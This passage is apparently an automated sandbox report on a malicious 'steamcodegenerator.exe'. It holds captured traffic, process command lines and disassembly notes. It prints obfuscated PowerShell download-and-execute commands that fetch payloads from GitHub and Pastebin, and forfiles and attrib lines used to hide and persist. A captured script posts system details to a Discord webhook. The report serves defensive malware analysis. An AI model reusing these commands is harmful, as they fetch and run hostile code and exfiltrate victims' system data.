,0,0,74,0,9,0,4,0,239,190,167,84,130,42,41,89,208,189,46,0,0,0,65,248,0,0,0,0,1,0,0,0,0,0,116,0,0,0,0,0,0,0,0,0,132,116,26,0,102,0,111,0,114,0,102,0,105,0,108,0,101,0,115,0,46,0,101,0,120,0,101,0,0,0,28,0,0,0,86,0,0,0,28,0,0,0,1,0,0,0,28,0,0,0,52,0,0,0,0,
2024-10-15 14:00:03 UTC	1378	IN	Data Raw: 2c 30 2c 39 37 2c 30 2c 31 30 38 2c 30 2c 31 30 38 2c 30 2c 31 30 35 2c 30 2c 31 31 36 2c 30 2c 33 32 2c 30 2c 31 30 35 2c 30 2c 36 39 2c 30 2c 31 32 30 2c 30 2c 35 39 2c 30 2c 33 32 2c 30 2c 31 31 35 2c 30 2c 39 37 2c 30 2c 31 30 38 2c 30 2c 33 32 2c 30 2c 33 36 2c 30 2c 31 30 31 2c 30 2c 31 31 30 2c 30 2c 31 31 38 2c 30 2c 35 38 2c 30 2c 31 31 31 2c 30 2c 31 31 35 2c 30 2c 33 32 2c 30 2c 31 30 35 2c 30 2c 38 37 2c 30 2c 31 31 34 2c 30 2c 35 39 2c 30 2c 33 32 2c 30 2c 39 39 2c 30 2c 39 37 2c 30 2c 31 30 38 2c 30 2c 31 30 38 2c 30 2c 31 30 35 2c 30 2c 38 34 2c 30 2c 34 30 2c 30 2c 38 37 2c 30 2c 37 33 2c 30 2c 37 38 2c 30 2c 36 38 2c 30 2c 37 39 2c 30 2c 38 37 2c 30 2c 38 33 2c 30 2c 39 35 2c 30 2c 37 38 2c 30 2c 38 34 2c 30 2c 33 32 2c 30 2c 31 31 32 2c Data Ascii: ,0,97,0,108,0,108,0,105,0,116,0,32,0,105,0,69,0,120,0,59,0,32,0,115,0,97,0,108,0,32,0,36,0,101,0,110,0,118,0,58,0,111,0,115,0,32,0,105,0,87,0,114,0,59,0,32,0,99,0,97,0,108,0,108,0,105,0,84,0,40,0,87,0,73,0,78,0,68,0,79,0,87,0,83,0,95,0,78,0,84,0,32,0,112,
2024-10-15 14:00:03 UTC	1378	IN	Data Raw: 31 2c 30 2c 35 31 2c 30 2c 35 30 2c 30 2c 35 31 2c 30 2c 34 38 2c 30 2c 35 30 2c 30 2c 34 39 2c 30 2c 34 35 2c 30 2c 35 37 2c 30 2c 34 39 2c 30 2c 35 33 2c 30 2c 35 32 2c 30 2c 35 31 2c 30 2c 35 36 2c 30 2c 34 38 2c 30 2c 35 34 2c 30 2c 35 37 2c 30 2c 34 35 2c 30 2c 35 31 2c 30 2c 35 30 2c 30 2c 35 30 2c 30 2c 35 30 2c 30 2c 35 31 2c 30 2c 35 34 2c 30 2c 35 31 2c 30 2c 35 37 2c 30 2c 35 32 2c 30 2c 35 32 2c 30 2c 34 35 2c 30 2c 34 39 2c 30 2c 34 38 2c 30 2c 34 38 2c 30 2c 34 39 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 37 37 2c 30 2c 30 2c 30 2c 34 39 2c 38 33 2c 38 30 2c 38 33 2c 34 38 2c 32 34 31 2c 33 37 2c 31 38 33 2c 32 33 39 2c 37 31 2c 32 36 2c 31 36 2c 31 36 35 2c 32 34 31 2c 32 2c 39 36 2c 31 34 30 2c 31 35 38 2c 32 33 35 2c 31 37 32 2c 34 Data Ascii: 1,0,51,0,50,0,51,0,48,0,50,0,49,0,45,0,57,0,49,0,53,0,52,0,51,0,56,0,48,0,54,0,57,0,45,0,51,0,50,0,50,0,50,0,51,0,54,0,51,0,57,0,52,0,52,0,45,0,49,0,48,0,48,0,49,0,0,0,0,0,0,0,177,0,0,0,49,83,80,83,48,241,37,183,239,71,26,16,165,241,2,96,140,158,235,172,4
2024-10-15 14:00:03 UTC	1378	IN	Data Raw: 63 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 6f 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 4d 61 6e 75 66 61 63 74 75 72 65 72 2c 20 4e 75 6d 62 65 72 4f 66 43 6f 72 65 73 2c 20 4e 75 6d 62 65 72 4f 66 4c 6f 67 69 63 61 6c 50 72 6f 63 65 73 73 6f 72 73 0a 0a 23 20 52 65 74 72 69 65 76 65 20 47 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 67 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 56 69 64 65 6f 43 6f 6e 74 72 6f 6c 6c 65 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 41 64 61 70 74 65 72 52 41 4d 2c 20 44 72 69 Data Ascii: cpu = Get-WmiObject -Class Win32_Processor \| Select-Object -Property Name, Manufacturer, NumberOfCores, NumberOfLogicalProcessors# Retrieve GPU information$gpu = Get-WmiObject -Class Win32_VideoController \| Select-Object -Property Name, AdapterRAM, Dri
2024-10-15 14:00:03 UTC	618	IN	Data Raw: 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 22 40 0a 7d 20 7c 20 43 6f 6e 76 65 72 74 54 6f 2d 4a 73 6f 6e 0a 0a 23 20 53 65 6e 64 20 74 68 65 20 50 4f 53 54 20 72 65 71 75 65 73 74 20 74 6f 20 74 68 65 20 77 65 62 68 6f 6f 6b 20 55 52 4c 0a 74 72 79 20 7b 0a 20 20 20 20 49 6e 76 6f 6b 65 2d 52 65 73 74 4d 65 74 68 6f 64 20 2d 55 72 69 20 24 77 65 62 68 6f 6f 6b 55 72 6c 20 2d 4d 65 74 68 6f 64 20 50 6f 73 74 20 2d 42 6f 64 79 20 24 70 61 79 6c 6f 61 64 20 2d 43 6f 6e 74 65 6e 74 54 79 70 65 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 20 20 20 20 57 72 69 74 65 2d 4f 75 74 70 75 74 20 22 4d 65 73 73 61 67 65 20 73 65 6e 74 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e 22 0a 7d 20 63 61 74 63 68 20 7b 0a 20 20 20 20 57 Data Ascii: ======================"@} \| ConvertTo-Json# Send the POST request to the webhook URLtry { Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $payload -ContentType "application/json" Write-Output "Message sent successfully."} catch { W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49749	162.159.138.232	443	5660	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 14:00:08 UTC	311	OUT	POST /api/webhooks/1285453590428782614/2ICVsBAPEUQjq3aCyFPX9ce6WexTwa29I1FddkY5ZuTql0_efW5EguYXiAyCvsMrX7i2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: discord.com Content-Length: 298 Connection: Keep-Alive
2024-10-15 14:00:08 UTC	298	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 22 3a 20 20 22 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 5c 6e 2a 2a 6a 6f 6e 65 73 2a 2a 20 73 79 73 74 65 6d 20 6f 6e 6c 69 6e 65 5c 6e 5c 6e 2a 2a 47 50 55 3a 2a 2a 20 59 5f 35 56 44 47 55 4d 5c 6e 2a 2a 43 50 55 3a 2a 2a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 5c 6e 2a 2a 43 50 55 20 43 6f 72 65 73 3a 2a 2a 20 34 20 34 5c 6e 2a 2a 4f 53 3a 2a 2a 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 5c 6e 2a 2a 55 41 43 3a 2a 2a 20 4d 61 78 69 6d 75 6d 20 55 41 43 20 2d 20 Data Ascii: { "content": "================================\nuser system online\n\nGPU: Y_5VDGUM\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nCPU Cores: 4 4\nOS: Windows 10 Pro\nUAC: Maximum UAC -
2024-10-15 14:00:08 UTC	1255	IN	HTTP/1.1 404 Not Found Date: Tue, 15 Oct 2024 14:00:08 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1729000809 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4y9gj4sWdq%2By0jEQwDG6uSzZLfzSQLJs6deNAx5PdrOB87WoZAU0lF29ALF%2Fb28JQcPnLPKT4f6HKjVVNXTMsTjMVSKMCgEkjbQ2y%2BU7MHWSvJH7VYbbjIKrGoWV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=898bd1d6d1178ff7245a151efa26800a53bbff85-1729000808; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=shRMVpCMnQJcd9oFhWDOKkHJPOxlMBHoMx_v_HmOv2k-1729000808433-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8d30556bdcc53455-DFW
2024-10-15 14:00:08 UTC	45	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d Data Ascii: {"message": "Unknown Webhook", "code": 10015}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49763	162.159.138.232	443	7248	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 14:00:16 UTC	311	OUT	POST /api/webhooks/1285453590428782614/2ICVsBAPEUQjq3aCyFPX9ce6WexTwa29I1FddkY5ZuTql0_efW5EguYXiAyCvsMrX7i2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: discord.com Content-Length: 298 Connection: Keep-Alive
2024-10-15 14:00:16 UTC	298	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 22 3a 20 20 22 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 5c 6e 2a 2a 6a 6f 6e 65 73 2a 2a 20 73 79 73 74 65 6d 20 6f 6e 6c 69 6e 65 5c 6e 5c 6e 2a 2a 47 50 55 3a 2a 2a 20 59 5f 35 56 44 47 55 4d 5c 6e 2a 2a 43 50 55 3a 2a 2a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 5c 6e 2a 2a 43 50 55 20 43 6f 72 65 73 3a 2a 2a 20 34 20 34 5c 6e 2a 2a 4f 53 3a 2a 2a 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 5c 6e 2a 2a 55 41 43 3a 2a 2a 20 4d 61 78 69 6d 75 6d 20 55 41 43 20 2d 20 Data Ascii: { "content": "================================\nuser system online\n\nGPU: Y_5VDGUM\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nCPU Cores: 4 4\nOS: Windows 10 Pro\nUAC: Maximum UAC -
2024-10-15 14:00:16 UTC	1257	IN	HTTP/1.1 404 Not Found Date: Tue, 15 Oct 2024 14:00:16 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1729000817 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5jjzbRDm%2B2SlpjKVS72i7IPSdiTMsScsmN0thaBYTgtj6qqodAYw7O7hfydAkKesLwdKFKeexRvA9ISH6R%2BRd4gD6CE7yn1CKxr%2BAdg8y0Q8Vn6c%2B5D5xu69Z3mg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=e316ba9d782cc8a8d64ff500cb6e6c4c929f0dd5-1729000816; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=6UMiXvDrHMMRL.7XfRyxsGJQ1gU6UcIilxJInvvqYJg-1729000816294-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8d30559cfb90e867-DFW
2024-10-15 14:00:16 UTC	45	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d Data Ascii: {"message": "Unknown Webhook", "code": 10015}

Target ID:	0
Start time:	09:59:22
Start date:	15/10/2024
Path:	C:\Users\user\Desktop\steamcodegenerator.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\steamcodegenerator.exe"
Imagebase:	0x7ff663540000
File size:	258'048 bytes
MD5 hash:	D4F1751389516A3DFAC98551142CB153
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.3629921626.0000022AF4E10000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.3629903861.0000022AF4D00000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	09:59:22
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	09:59:27
Start date:	15/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -command start powershell -windowstyle h -args {sal notpad iEx; sal $env:os iWr; notpad(windows_nT raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt -usebasicparsing)}
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:59:30
Start date:	15/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" sal notpad iEx; sal $env:os iWr; notpad(windows_nT raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt -usebasicparsing)
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	09:59:30
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	09:59:48
Start date:	15/10/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\attrib.exe" +s +h "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"
Imagebase:	0xe30000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:59:49
Start date:	15/10/2024
Path:	C:\Windows\System32\forfiles.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'"
Imagebase:	0x7ff7729f0000
File size:	52'224 bytes
MD5 hash:	9BB67AEA5E26CB136F23F29CC48D6B9E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	09:59:49
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	09:59:49
Start date:	15/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	-command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	09:59:50
Start date:	15/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	09:59:57
Start date:	15/10/2024
Path:	C:\Windows\System32\forfiles.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'"
Imagebase:	0x7ff7729f0000
File size:	52'224 bytes
MD5 hash:	9BB67AEA5E26CB136F23F29CC48D6B9E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	09:59:57
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	09:59:57
Start date:	15/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	-command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: powershell.exePID: 7248, Parent PID: 6016

General

Target ID:	16
Start time:	09:59:57
Start date:	15/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Disassembly

Reset < >

Analysis Process: steamcodegenerator.exePID: 7500, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	3.3%
Dynamic/Decrypted Code Coverage:	14.7%
Signature Coverage:	13.7%
Total number of Nodes:	497
Total number of Limit Nodes:	30

Executed Functions

Function 00007FF663542230 Relevance: 33.6, APIs: 13, Strings: 6, Instructions: 349
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00007FF6635424FE
VirtualAlloc.KERNEL32 ref: 00007FF663542540
VirtualFree.KERNEL32 ref: 00007FF663542569
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF663542750
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF663542756
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF66354275C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF663542762
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF663542768
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF66354276E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF663542774
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF66354277A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF663542780
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF663542786

Strings

ps://gith, xrefs: 00007FF663542299
htt, xrefs: 00007FF663542275
nts/files/17267811/stm.txt, xrefs: 00007FF663542305
ub.c, xrefs: 00007FF6635422BD
om/user-attachme, xrefs: 00007FF6635422E1
Downloader, xrefs: 00007FF663541FEF

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Virtual$AllocFreeSleep
String ID: Downloader$htt$nts/files/17267811/stm.txt$om/user-attachme$ps://gith$ub.c
API String ID: 1298506739-3644530041
Opcode ID: ea04dfb8b05b74b2b0620327f61315c56e469aa5f16ef72dec762d63fb4ec1f1
Instruction ID: abd27d062c9add0ec87308cba667c1db4d319a33626236ad97be4dc1336558be
Opcode Fuzzy Hash: ea04dfb8b05b74b2b0620327f61315c56e469aa5f16ef72dec762d63fb4ec1f1
Instruction Fuzzy Hash: 4BE19362E14B8685EB04DB75D4463AD2731EB957A4F109321EA5CABBEADF3CE4D0C340

Function 0000022AF4E1819F Relevance: 16.8, APIs: 8, Strings: 1, Instructions: 1070memorynativeCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL ref: 0000022AF4E1826C
NtMapViewOfSection.NTDLL ref: 0000022AF4E18357
VirtualAlloc.KERNEL32 ref: 0000022AF4E18782
NtUnmapViewOfSection.NTDLL ref: 0000022AF4E18828
NtMapViewOfSection.NTDLL ref: 0000022AF4E18894
VirtualProtect.KERNEL32 ref: 0000022AF4E188BB
VirtualProtect.KERNEL32 ref: 0000022AF4E1898F
VirtualProtect.KERNEL32 ref: 0000022AF4E189D2

Strings

@, xrefs: 0000022AF4E1825A

Memory Dump Source

Source File: 00000000.00000002.3629921626.0000022AF4E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022AF4E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22af4e10000_steamcodegenerator.jbxd

Yara matches

Similarity

API ID: SectionVirtual$ProtectView$AllocCreateUnmap
String ID: @
API String ID: 1653215272-2766056989
Opcode ID: 2ed318d2ea2cf2278bd42e912a4e74bd6f32db374bd63d65325d2cd2078d0a12
Instruction ID: a433a889392196f9f958826b5d23155d13bec697d6aa6df5d7f42730d65b7dec
Opcode Fuzzy Hash: 2ed318d2ea2cf2278bd42e912a4e74bd6f32db374bd63d65325d2cd2078d0a12
Instruction Fuzzy Hash: AE72DB30654B488BDB69DF68C8897EA73E1FB98304F14452DD98BC7641EF39E942CB42

Function 0000022AF4E191AB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 104
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 0000022AF4E19279

Strings

l, xrefs: 0000022AF4E19213

Memory Dump Source

Source File: 00000000.00000002.3629921626.0000022AF4E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022AF4E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22af4e10000_steamcodegenerator.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: l
API String ID: 1029625771-2517025534
Opcode ID: 1385f4a438fc17bb376d03bd0145f1e19b120c532c3e81762a8c516170bfbca4
Instruction ID: 9c3b2ea1a96077160ca5fafe672257fffc19f3409ad6c5d2a1f707667483d415
Opcode Fuzzy Hash: 1385f4a438fc17bb376d03bd0145f1e19b120c532c3e81762a8c516170bfbca4
Instruction Fuzzy Hash: 4A310620558A854FE799DB2CD148B62BBD5FBA930CF2446ACC1CBC3953E728C446CB02

Function 00007FF663546130 Relevance: 3.2, APIs: 2, Instructions: 171
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF663546353
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF663546359

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: c35681c349dced017d86a5f3adb7903ad82b0333e43f206d0047bf9162d83481
Instruction ID: cf09f7baaa8963970c460b63ab47fbf886289850dcb43a33537244b6b0eb649c
